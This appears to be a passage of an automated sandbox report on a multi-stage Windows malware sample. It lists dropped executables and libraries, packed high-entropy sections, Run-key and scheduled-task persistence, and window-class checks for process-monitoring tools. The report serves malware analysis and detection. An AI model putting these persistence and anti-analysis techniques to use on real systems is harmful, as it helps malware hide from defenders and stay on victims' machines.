Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 1.2.explorti.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 2.2.explorti.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Unpacked PE file: 7.2.explorti.exe.310000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Unpacked PE file: 9.2.1c593ec106.exe.390000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 10.2.8ec8c5c339.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Unpacked PE file: 12.2.1c593ec106.exe.390000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Unpacked PE file: 15.2.RoamingHJDBKJKFIE.exe.c30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lybfcffv:EW;emchirzz:EW;.taggant:EW;
Source: C:\Users\userKFHCAEGCBF.exe	Unpacked PE file: 18.2.userKFHCAEGCBF.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 19.2.axplong.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 30.2.8ec8c5c339.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Unpacked PE file: 31.2.1c593ec106.exe.390000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 37.2.axplong.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;finyobjn:EW;cveoqpqu:EW;.taggant:EW;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 10.2.8ec8c5c339.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Unpacked PE file: 30.2.8ec8c5c339.exe.400000.0.unpack

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_0041BA2C LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

8_2_0041BA2C

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 8NjcvPNvUr.exe	Static PE information: real checksum: 0x1e73b4 should be: 0x1e21d9
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x1e73b4 should be: 0x1e21d9
Source: explorti.exe.0.dr	Static PE information: real checksum: 0x1e73b4 should be: 0x1e21d9
Source: 1c593ec106.exe.7.dr	Static PE information: real checksum: 0x12ca13 should be: 0x314e69
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: real checksum: 0x1d5ef2 should be: 0x1cd7cd
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x1d5ef2 should be: 0x1cd7cd
Source: random[1].exe0.7.dr	Static PE information: real checksum: 0x12ca13 should be: 0x314e69
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: real checksum: 0x1e73b4 should be: 0x1e21d9
Source: axplong.exe.18.dr	Static PE information: real checksum: 0x1d5ef2 should be: 0x1cd7cd

Source: 8NjcvPNvUr.exe	Static PE information: section name:
Source: 8NjcvPNvUr.exe	Static PE information: section name: .idata
Source: 8NjcvPNvUr.exe	Static PE information: section name:
Source: 8NjcvPNvUr.exe	Static PE information: section name: lybfcffv
Source: 8NjcvPNvUr.exe	Static PE information: section name: emchirzz
Source: 8NjcvPNvUr.exe	Static PE information: section name: .taggant
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: lybfcffv
Source: explorti.exe.0.dr	Static PE information: section name: emchirzz
Source: explorti.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.7.dr	Static PE information: section name: .casiwid
Source: random[1].exe.7.dr	Static PE information: section name: .mufu
Source: 8ec8c5c339.exe.7.dr	Static PE information: section name: .casiwid
Source: 8ec8c5c339.exe.7.dr	Static PE information: section name: .mufu
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: random[1].exe0.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: 1c593ec106.exe.7.dr	Static PE information: section name:
Source: freebl3.dll.8.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.8.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.8.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.8.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.8.dr	Static PE information: section name: .didat
Source: nss3.dll.8.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.8.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.8.dr	Static PE information: section name: .00cfg
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: lybfcffv
Source: random[1].exe.8.dr	Static PE information: section name: emchirzz
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name:
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: .idata
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name:
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: lybfcffv
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: emchirzz
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: .taggant
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name:
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: .idata
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name:
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: finyobjn
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: cveoqpqu
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: finyobjn
Source: random[1].exe0.8.dr	Static PE information: section name: cveoqpqu
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: axplong.exe.18.dr	Static PE information: section name:
Source: axplong.exe.18.dr	Static PE information: section name: .idata
Source: axplong.exe.18.dr	Static PE information: section name:
Source: axplong.exe.18.dr	Static PE information: section name: finyobjn
Source: axplong.exe.18.dr	Static PE information: section name: cveoqpqu
Source: axplong.exe.18.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_0032D84C push ecx; ret	7_2_0032D85F
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_0041A9F5 push ecx; ret	8_2_0041AA08
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1FB536 push ecx; ret	8_2_6C1FB549

Source: 8NjcvPNvUr.exe	Static PE information: section name: entropy: 7.987936779363103
Source: 8NjcvPNvUr.exe	Static PE information: section name: lybfcffv entropy: 7.954168133889622
Source: explorti.exe.0.dr	Static PE information: section name: entropy: 7.987936779363103
Source: explorti.exe.0.dr	Static PE information: section name: lybfcffv entropy: 7.954168133889622
Source: random[1].exe.7.dr	Static PE information: section name: .text entropy: 7.812950396957531
Source: 8ec8c5c339.exe.7.dr	Static PE information: section name: .text entropy: 7.812950396957531
Source: random[1].exe0.7.dr	Static PE information: section name: entropy: 7.999400097848481
Source: random[1].exe0.7.dr	Static PE information: section name: entropy: 7.99076230675352
Source: random[1].exe0.7.dr	Static PE information: section name: entropy: 7.999175266136623
Source: random[1].exe0.7.dr	Static PE information: section name: entropy: 7.964571388660085
Source: 1c593ec106.exe.7.dr	Static PE information: section name: entropy: 7.999400097848481
Source: 1c593ec106.exe.7.dr	Static PE information: section name: entropy: 7.99076230675352
Source: 1c593ec106.exe.7.dr	Static PE information: section name: entropy: 7.999175266136623
Source: 1c593ec106.exe.7.dr	Static PE information: section name: entropy: 7.964571388660085
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.987936779363103
Source: random[1].exe.8.dr	Static PE information: section name: lybfcffv entropy: 7.954168133889622
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: entropy: 7.987936779363103
Source: RoamingHJDBKJKFIE.exe.8.dr	Static PE information: section name: lybfcffv entropy: 7.954168133889622
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: entropy: 7.983363124481756
Source: userKFHCAEGCBF.exe.8.dr	Static PE information: section name: finyobjn entropy: 7.954291882741596
Source: random[1].exe0.8.dr	Static PE information: section name: entropy: 7.983363124481756
Source: random[1].exe0.8.dr	Static PE information: section name: finyobjn entropy: 7.954291882741596
Source: axplong.exe.18.dr	Static PE information: section name: entropy: 7.983363124481756
Source: axplong.exe.18.dr	Static PE information: section name: finyobjn entropy: 7.954291882741596

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\userKFHCAEGCBF.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\userKFHCAEGCBF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c593ec106.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ec8c5c339.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\userKFHCAEGCBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\userKFHCAEGCBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\userKFHCAEGCBF.exe	Window searched: window name: RegmonClass
Source: C:\Users\userKFHCAEGCBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\userKFHCAEGCBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ec8c5c339.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8ec8c5c339.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c593ec106.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1c593ec106.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_004195E0

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\userKFHCAEGCBF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
